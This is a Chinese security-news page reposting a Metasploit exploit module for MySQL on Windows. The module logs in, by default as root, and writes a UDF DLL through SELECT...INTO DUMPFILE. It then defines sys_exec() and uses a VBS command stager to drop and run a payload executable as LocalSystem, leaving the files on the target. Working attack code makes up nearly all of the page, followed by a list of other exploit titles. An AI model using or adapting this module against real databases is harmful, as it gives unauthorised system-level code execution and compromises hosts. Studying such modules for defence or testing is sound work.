首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle MySQL for Microsoft Windows Payload Execution (meta)
来源:http://www.metasploit.com 作者:Damele 发布时间:2011-03-11  

##
# $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::MYSQL
 include Msf::Exploit::CmdStagerVBS

 def initialize(info = {})
  super(
   update_info(
    info,
   'Name'           => 'Oracle MySQL for Microsoft Windows Payload Execution',
   'Description'    => %q{
    This module creates and enables a custom UDF (user defined function) on the
    target host via the SELECT ... into DUMPFILE method of binary injection. On
    default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
    permissions not enforced, and the MySQL service runs as LocalSystem.

    NOTE: This module will leave a payload executable on the target system when the
    attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
    and sys_exec() functions.
   },
  'Author'         =>
  [
   'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
   'todb' # this Metasploit module
  ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11899 $',
   'References'     =>
  [
   # Bernardo's work with cmd exec via udf
   [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ],
   # Advice from 2005 on securing MySQL on Windows, kind of helpful.
   [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ]
  ],
   'Platform'       => 'win',
   'Targets'        =>
  [
   [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
  ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
  ))
  register_options(
   [
    OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
    OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]),
    OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ])
  ])
 end

 def username
  datastore['USERNAME']
 end

 def password
  datastore['PASSWORD']
 end

 def login_and_get_sys_exec
  mysql_login(username,password,'mysql')
  @mysql_arch = mysql_get_arch
  @mysql_sys_exec_available = mysql_check_for_sys_exec()
  if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD']
   mysql_add_sys_exec
   @mysql_sys_exec_available = mysql_check_for_sys_exec()
  else
   print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)."
  end
 end

 def execute_command(cmd, opts)
  mysql_sys_exec(cmd, datastore['VERBOSE'])
 end

 def exploit
  login_and_get_sys_exec()

  if not @mysql_handle
   print_status("Invalid MySQL credentials")
   return
  elsif not [:win32,:win64].include?(@mysql_arch)
   print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")
   return
  else
   if @mysql_sys_exec_available
    execute_cmdstager({:linemax => 1500, :nodelete => true})
    handler
   else
    print_status("MySQL function sys_exec() not available")
    return
   end
  end
  disconnect
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Novell iPrint Client ActiveX C
·Air Contacts Lite Denial Of Se
·Linux Kernel < 2.6.37-rc2 TCP_
·KMPlayer 2.9.3 (.avi) Stack bu
·Windows Movie Maker 2.1 (Impor
·QuickTime Player 7.5.x Buffer
·KMPlayer 2.9.3.1 APE Buffer Ov
·FreeBSD <= 6.4 Netgraph Local
·Media Player Classic 6.4.9.1 B
·maian weblog <= v4.0 remote bl
·Jet Audio 5.1.5.2 APE Buffer O
·Nokia N97 m3u Playlist Crash P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved